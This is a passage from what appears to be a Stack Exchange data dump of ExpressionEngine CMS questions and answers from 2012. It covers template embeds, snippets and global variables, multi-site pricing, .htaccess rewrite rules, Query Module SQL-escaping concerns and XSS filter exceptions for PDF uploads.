channel=&quot;blog&quot;}&#xA;  {!-- on the last loop through our entries embed a template and pass the output of a tag as a parameter to the embed--}&#xA;  {if count == total_results}&#xA;    {embed=&quot;path/template&quot; my_total=&quot;{total_results&quot;}&#xA;  {/if}&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/user_guide/templates/embedding.html#how-to-choose-between-an-embedded-template-and-a-snippet&quot;&gt;According to the EE user guide you should use an embed when&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You need Embed Variables. &lt;/li&gt;&#xA;&lt;li&gt;You need separate PHP parsing preferences from the template this code is being added to. &lt;/li&gt;&#xA;&lt;li&gt;You need separate caching preferences from the template this code is being added to.&lt;/li&gt;&#xA;&lt;li&gt;You need separate template Access control from the template this code is being added to.&lt;/li&gt;&#xA;&lt;li&gt;You need to also be able to access this template on its own directly via the URL.&lt;/li&gt;&#xA;&lt;li&gt;You need to edit this content using the flat-file template system. You need to more discretely control which users are allowed to modify this content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;: Allow avoidance of parse order issues. PHP can be enabled for an embed but not for the parent template. Can be nested. Full template permissions control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;: Slow, require variables to be manually passed in from the parent template.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;User Defined Global Variables&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/user_guide/templates/globals/user_defined.html&quot;&gt;Global variables&lt;/a&gt;* are pretty much the opposite of snippets. They are parsed late in the &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot;&gt;template parse order&lt;/a&gt; , and thus cannot contain other EE tags. though they can be parsed as parameter values for other tags. Normal global variables cannot easily be stored outside of the database (though again, this is possible with some addons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are best suited for repeated static string data such as contact email addresses, phone numbers, company registration numbers and the like, though they can also be used for static text, HTML, JavaScript, and other static content that would not affect other tags and variables in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I frequently use the (free) &lt;a href=&quot;http://devot-ee.com/add-ons/republic-variables&quot;&gt;Republic Variables addon&lt;/a&gt; to allow clients to edit global variables via a more friendly UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The name &quot;global &lt;em&gt;variables&lt;/em&gt;&quot; is something of a misnomer IMO, as GV's cannot be changed once assigned - ie they are really &lt;strong&gt;constants&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages&lt;/strong&gt;: minimal parsing cost, easyish for clients to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;: parsed late&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Party Alternatives&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a number of excellent third party alternatives which can help reduce the need to use embeds/jump through hoops with the parse order and thus improve site performance, these include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark Croxton's powerful &lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;Stash plugin&lt;/a&gt;&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-variables&quot;&gt;Low Variables&lt;/a&gt;, which allows precise control of which variables are parsed late/early (and much more)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are others that should feature here add a comment and I will add them to this answer.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-24T19:22:58.583" LastActivityDate="2012-11-24T19:22:58.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostTypeId="2" ParentId="190" CreationDate="2012-11-21T20:19:42.813" Score="8" Body="&lt;p&gt;All three of these are used for enabling you to not repeat yourself when building sites, but they vary in functionality quite a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Global Variables&lt;/strong&gt;&#xA;Global Variables are used generally for storing pieces of content that might not be be part of an entry, for instance a contact form email address, a store address, etc. You can not use EE tags within a global variable. Oftentimes I use the Low Variables module to extend Global Variables with additional fieldtypes, creating a great settings area in the control panel for the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Snippets&lt;/strong&gt;&#xA;Snippets are used for storing reusable pieces of templates. The snippet gets parsed before the template they are inside of gets parsed, so you can add any EE tags you like inside a snippet and it'll act just like it's part of the template you put it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded Templates&lt;/strong&gt;&#xA;Embedded templates have the greatest overhead of all of these. They start the template parser again and run independently from the parent template, and just dump the output from the embedded template into the parent template. It's generally a best practice to avoid using embeds as much as is practical, only using them when it's necessary to nest tags that otherwise couldn't be nested.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-11-21T20:19:42.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostTypeId="2" ParentId="192" CreationDate="2012-11-21T20:35:31.903" Score="15" Body="&lt;p&gt;The advantage of using a custom plugin (per-project usually) is that you will invariably come up with several small utility tasks to perform during the course of development (not just query-related). It's far cleaner to house these functions under one roof, in one file, rather than sprinkle your templates with custom queries, PHP blocks, and your &lt;strong&gt;/third_party&lt;/strong&gt; folder with a half dozen simple plugins that do one tiny thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would argue strongly in favour of keeping all custom functionality for a site within one package (if not one plugin ... sometimes you'll need an extension as well, and in more complex cases a module). So much less clutter, plus you can use class variables for commonly-used data throughout all of your custom functions (say, an API key if you're making custom API calls, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for documentation - using the plugin &lt;code&gt;usage()&lt;/code&gt; function is the way to go for plugins - you can document everything and have it visible right from the Plugins screen in EE. For your extensions and modules, you can use &lt;a href=&quot;http://en.wikipedia.org/wiki/PHPDoc&quot;&gt;PHPDoc&lt;/a&gt; with each function, or just add paragraph-style comments with each function to explain what your code does, and then optionally add &lt;a href=&quot;http://expressionengine.com/user_guide/templates/comments.html&quot;&gt;EE comments&lt;/a&gt; in your templates wherever you call your custom functions so that folks know that it's a) custom, and b) what it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disadvantage of going the custom add-on route would be if you, say, only have a couple of custom queries across your site, and no need for custom helper functions - in which case sticking with the Query module omits any overhead from loading another class (i.e., your custom plugin) needlessly. Plus - no need to write a custom plugin!&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-11-21T20:53:51.853" LastActivityDate="2012-11-21T20:53:51.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="2" ParentId="182" CreationDate="2012-11-21T21:47:31.823" Score="10" Body="&lt;p&gt;You don't need a conditional... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up a shipping method called Free Shipping using the Default Shipping Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set up the rules for this new shipping method... you'll want to set Minimum Order Total and Maximum Order Total specific to your use case. Then set your Base Rate charge to 0. Should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info on Shipping Methods is here in the docs:&#xA;&lt;a href=&quot;https://exp-resso.com/docs/store/settings/shipping_methods.html&quot;&gt;https://exp-resso.com/docs/store/settings/shipping_methods.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-21T21:47:31.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostTypeId="1" CreationDate="2012-11-21T21:56:09.497" Score="5" ViewCount="210" Body="&lt;p&gt;I'm building a set of sites with MSM and intend to use a &quot;parent&quot; site for the organization to publish most of the common content that will be used for each of the &quot;child&quot; sites. Think of a restaurant with many locations where you want the location-specific information to be embedded into the page content for that location's site, yet the common information is pulled from the parent site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simple example, if you're on a menu page for location A you'll see that location's prices, which may be different from the other locations. Assuming the menu is the same across all of the restaurants, I'd like to use the parent site to create channel entries for each entree and add in all of the common content there, yet have the location-specific price show on each location's menu page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One simple option would be to create an entry on the child site and add fields for any of the location-specific content items. Then pass those items to the parent site template via embed parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Child:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;entrees&quot;}&#xA;   {embed=&quot;parent:menu/entrees&quot; url_title=&quot;{url_title}&quot; price=&quot;{price}&quot;}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;entrees&quot; site=&quot;parent&quot; dynamic=&quot;no&quot; url_title=&quot;{embed:url_title}&quot;}&#xA;   &amp;lt;li&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{entree_picture}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            {entree_description}&#xA;         &amp;lt;span class=&quot;price&quot;&amp;gt;${embed:price}&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The drawback here is that each entry would need to be added on each child site, which doesn't scale well. In addition, the relationship between child site &amp;amp; parent site would be dependent upon the url_title being identical, which is error prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other options?&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2012-11-21T22:11:57.170" Title="Preferred method for site-specific content in MSM &quot;child&quot; sites?" Tags="|multi-site-manager|embeds|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="199" PostTypeId="2" ParentId="192" CreationDate="2012-11-21T22:08:11.780" Score="13" Body="&lt;p&gt;It is also important to note that the Query Module &lt;em&gt;is not safe&lt;/em&gt; if you are allowing any user-entered data. The &lt;em&gt;only&lt;/em&gt; thing the Query Module does, besides adjusting for pagination if present, is passes the string through to the CI db class (in EE 2.5.3 this is line 181 of &lt;code&gt;/system/expressionengine/modules/query/mod.query.php&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CodeIgniter documentation specifically states that you should escape your queries using one of the escape functions (see this page: &lt;a href=&quot;http://codeigniter.com/user_guide/database/queries.html&quot;&gt;http://codeigniter.com/user_guide/database/queries.html&lt;/a&gt;); however, there is NO escaping being done in the EE core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way around this is to use a custom addon, and ensure that you escape your queries (or use CI's Active Record, which does automatic escaping) within your addon methods.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T22:08:11.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="200" PostTypeId="2" ParentId="198" CreationDate="2012-11-21T22:10:19.827" Score="6" Body="&lt;p&gt;I would probably use a matrix in the main sites entry with two columns: location and price. One is location and one is price. Fill that in for each location. The location column would need to be a dropdown that the user selects the correct location. The dropdown would be set up so that the value is equal to the site name and the label to the Restaurant name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template you would then do something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{price-matrix search:location=&quot;={site_short_name}&quot;}&#xA;    &amp;lt;span class=&quot;price&quot;&amp;gt;${price}&amp;lt;/span&amp;gt;&#xA;{/price-matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No embedded templates slowing your site down and more intuitive.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-21T22:10:19.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="2" ParentId="198" CreationDate="2012-11-21T22:11:57.170" Score="6" Body="&lt;p&gt;What if you created fields for each location's price for that menu item. Then the field name would be prefixed with the child site's &lt;code&gt;short_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;atlanta_item_price&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;chicago_item_price&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;seattle_item_price&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your child site template, you could use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Price: {{site_short_name}_item_price}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-21T22:11:57.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="2" ParentId="189" CreationDate="2012-11-21T22:28:57.767" Score="13" Body="&lt;p&gt;The issue is that certain PDFs falsely trigger the XSS screener's detection routines. And yes, this IS still a bug, although it is fairly difficult to predict which PDFs will be affected. I have had &lt;em&gt;consistent&lt;/em&gt; issues with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PDFs exported from Microsoft Word on any platform&lt;/li&gt;&#xA;&lt;li&gt;PDFs with embedded color profile data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The best way around it if you only need certain member groups to be able to upload PDFs is to use the hidden config variables that @foamcow mentions in a separate answer, as follows: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['xss_clean_member_group_exception'] = &quot;1|6&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['xss_clean_member_exception'] = '3|14|83';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you need to allow generic users to upload PDFs, such as through an open Safecracker form, I do not know of any solution other than disabling XSS filtering entirely.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T22:28:57.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="2" ParentId="181" CreationDate="2012-11-21T22:36:16.460" Score="6" Body="&lt;p&gt;The most &lt;em&gt;common&lt;/em&gt; cause of this error is an issue with your &lt;code&gt;.htaccess&lt;/code&gt; file. In particular I have run into frequent problems with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;DefaultCharset&lt;/code&gt; directives&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RedirectMatch&lt;/code&gt; directives&lt;/li&gt;&#xA;&lt;li&gt;Trying to use &lt;code&gt;Rewrite&lt;/code&gt; directives on a server that does not have &lt;code&gt;mod_rewrite&lt;/code&gt; enabled&lt;/li&gt;&#xA;&lt;li&gt;Trying to use Apache 1 compression on Apache 2 servers (&lt;code&gt;mod_gzip&lt;/code&gt; instead of &lt;code&gt;mod_deflate&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you've got any of that in your .htaccess, remove those directives and try again. If not, try removing EVERYTHING from your .htaccess, and add it back in one block of directives at a time until you get the 500 error again.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T22:36:16.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="204" PostTypeId="1" AcceptedAnswerId="254" CreationDate="2012-11-21T23:01:50.407" Score="5" ViewCount="133" Body="&lt;p&gt;I have a user complaining of slow connection to EE. It happens when the user clones an entry. It sometimes times out, sometimes it's just very slow. This is a homepage entry and it gets cloned frequently. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2012-11-29T00:27:41.737" Title="Slow connecting to EE" Tags="|ee2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="205" PostTypeId="2" ParentId="181" CreationDate="2012-11-21T23:53:03.847" Score="4" Body="&lt;p&gt;I did some quick googling on that error, and another possibility is that it's caused by suEXEC. So if suEXEC is installed (e.g. some cPanel servers):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check the suEXEC logs on your server (if you have access to them, probably not though if you're using shared hosting).&lt;/li&gt;&#xA;&lt;li&gt;Make sure your file and folder permissions are correct. For example on my cPanel server I know the &lt;code&gt;public_html&lt;/code&gt; folder needs to be owned by &lt;code&gt;myuser:nobody&lt;/code&gt; and permissions &lt;code&gt;750&lt;/code&gt;. Everything inside it can be owned by my user and permissions &lt;code&gt;755&lt;/code&gt;, but I know in the past if I took away the group &lt;code&gt;nobody&lt;/code&gt; for the &lt;code&gt;public_html&lt;/code&gt; folder the whole site came crashing down.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If all else fails, try deleting/renaming EE and just try to get a simple index.php file outputting &lt;strong&gt;something&lt;/strong&gt;, then work your way up from there until you figure out what is causing the issue.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-21T23:53:03.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="1" CreationDate="2012-11-22T01:00:02.983" Score="5" ViewCount="1183" Body="&lt;p&gt;I am building a reasonable size replacement site in EE and will be migrating content from an existing static-built site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to maintain as many inbound and internal links as possible, what is the best way to add .html to URL's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the number of URL's involved I don't want to have to redirect each one individually in .htaccess. Using .htaccess to strip .html has been suggested. If this is the best method, what would I need to add to .htaccess to achieve this? Are there any drawbacks or negatives to this method?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2012-11-30T10:26:34.830" Title="How to add .html to URL's" Tags="|migration|url|.html|htaccess|static|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="207" PostTypeId="2" ParentId="206" CreationDate="2012-11-22T02:08:04.363" Score="6" Body="&lt;p&gt;You don't need to redirect them individually in .htaccess; you can do a rewrite to strip .html, as you were told. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a set of directives that &lt;em&gt;should&lt;/em&gt; both route whatever.html to /index.php/whatever/ (for EE) and then remove index.php from everything else. This is, however, not tested, so it might require refinement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_FILENAME}\.html -f&#xA;RewriteRule ^(.*)\.html$ /index.php/$1 [R=301,L]&#xA;&#xA;RewriteCond $1 !\.(gif|jpe?g|png|webp|svgz?|tt.|eot|woff|otf|htc|mp.|m4.|og.|flv)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be any drawbacks or negatives -- it's a tiny amount of extra overhead, but nothing you would ever notice in the scheme of things. &lt;/p&gt;&#xA;" OwnerUserId="139" LastEditorUserId="139" LastEditDate="2012-11-22T02:21:59.000" LastActivityDate="2012-11-22T02:21:59.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="208" PostTypeId="2" ParentId="206" CreationDate="2012-11-22T02:19:22.840" Score="7" Body="&lt;p&gt;I haven't tested this either, but I'm not sure @adrienne's htaccess will work. I'd do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;&#xA;# 301 redirect path.html to just path&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule ^(.*)\.html$ $1 [R=301,L]&#xA;&#xA;# the rest of your rewrite rules (e.g. removing index.php) go here&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To explain the first few lines, first we make sure the requested html file doesn't exist (so we don't break anything), then we use a regular expression to redirect any *.html to * using a 301 (permanent) redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to edit either of these answers if we're not far off :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-22T02:19:22.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="1" AcceptedAnswerId="226" CreationDate="2012-11-22T07:19:24.423" Score="6" ViewCount="380" Body="&lt;p&gt;I'm currently wiring together a site that uses the DRY principle and makes heavy use of @croxton Stash module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is working as expected but if I purposefully remove part of the URL I cannot force a redirect as I'm using the URL template to capture the info and embedding (last) a template for display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the {if {exp:stash:not_empty name=&quot;my-stash&quot;}} Show the info {/if} to great affect but when I set {exp:channel require_entry=&quot;yes&quot;} AND there is no entry, how do I force a redirect ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/_layout_equipment&quot;} // The layout template&#xA;&#xA;//Collect all values for all custom fields&#xA;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;equipment&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;    {if no_results}Has no effect here{/if}&#xA;&#xA;    {stash:title}{title}{/stash:title} // Get title&#xA;    {stash:matrix}{matrix}&amp;lt;li&amp;gt;{value}&amp;lt;/li&amp;gt;{/matrix}{/stash:title} Get Matrix Pair&#xA;    //repeat for all custom fields in the entry - a lot of them&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;//Need to SET a host of 'stash's' using the master stash vars captured above&#xA;&#xA;{exp:stash:set name=&quot;main&quot; parse_tags etc}&#xA;    {if {exp:stash:not_empty name=&quot;title&quot;}}&#xA;    &amp;lt;h1&amp;gt;{stash:title}&amp;lt;/h1&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;ul&amp;gt;&#xA;        {stash:matrix}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;sidecontent&quot; parse_tags etc}&#xA;  //Pull in other Vars declared in the steps above&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;tab01&quot; parse_tags etc}&#xA;  //Pull in other Vars declared in the steps above&#xA;{/exp:stash:set}&#xA;&#xA;// Join all the bits&#xA;{exp:stash:set name=&quot;contentregion&quot; parse_tags etc}&#xA;  &amp;lt;div class=&quot;abc&quot;&amp;gt;&#xA;  {stash:my_var}&#xA;  &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;  {stash:tabs}&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;abcde&quot;&amp;gt;&#xA;  {stash:anothervar}&#xA;  {stash:morevars}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the Embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;{exp:stash:get name=&quot;contentregion&quot;}&#xA;// By this stage at least one var within this var contains some mark-up - no actual data but a random &amp;lt;div&amp;gt; or &amp;lt;ul&amp;gt;&#xA;// ************* WHERE DOES A REDIRECT FIT IF THESE IS NO CONTENT ??? *****//&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;sidecontent&quot;&amp;gt;&#xA;{exp:stash:get name=&quot;sidecontent&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apologies for confusion but my embed is quite simple due to the varying nature of the content (tabs, optional tabs, accordions, optional accordions and so on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got all this going on and setting {no_results=&quot;redirect&quot;} just fails to trigger&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="780" LastEditDate="2016-07-22T09:32:51.583" LastActivityDate="2016-07-22T09:32:51.583" Title="Stash, DRY and redirect" Tags="|stash|module|dry|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="1" AcceptedAnswerId="213" CreationDate="2012-11-22T08:17:16.140" Score="5" ViewCount="759" Body="&lt;p&gt;I need to use SafeCracker to publish a new entry into a Channel whose Custom-Field-Group exists of only one field — which is a quite large Matrix-field. (Matrix -&gt; pixel&amp;amp;tonic Fieldtype)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code look like this (but with much more fields)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel='mychannel' return='success' include_jquery='no' datepicker='no'&#xA;…&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; class=&quot;title&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;mychannel-field0&quot; class=&quot;field0&quot; value=&quot;&quot; /&amp;gt;&#xA;…&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fields will get filled through a JavaScript-Datafetcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Matrix-Field is named &lt;code&gt;{mychannel-entry}&lt;/code&gt; and the first cell is named &lt;code&gt;mychannel-field0&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell my form to input the values of my hidden fields into the first/new Row-Cells of a new entry to my channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This form only adds new entries, no editing-functions required.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2012-11-22T08:22:47.970" LastActivityDate="2012-11-22T10:24:03.933" Title="How to manually add Content to a Matrix-Row with SafeCracker" Tags="|matrix|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostTypeId="1" AcceptedAnswerId="219" CreationDate="2012-11-22T08:25:08.790" Score="17" ViewCount="1853" Body="&lt;p&gt;What does &quot;Enable Strict URLs&quot; really mean and are there any security/other implications if I choose to not use strict URLs?&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="81" LastEditDate="2012-12-07T15:44:20.653" LastActivityDate="2013-05-12T12:00:44.413" Title="What does &quot;Enable Strict URLs&quot; really mean?" Tags="|templates|settings|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="1" CreationDate="2012-11-22T08:37:03.157" Score="2" ViewCount="159" Body="&lt;p&gt;I have a client who informs me that the Default HTML Buttons are not appearing with the field. I am using a mac with Safari and Firefox and they display no problem.&#xA;Anyone else encountered this problem?&lt;/p&gt;&#xA;" OwnerUserId="249" LastEditorUserId="16" LastEditDate="2012-11-29T22:26:05.990" LastActivityDate="2012-11-29T22:26:05.990" Title="Default HTML Buttons not visible with IE8" Tags="|custom-fields|ie8|browser|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
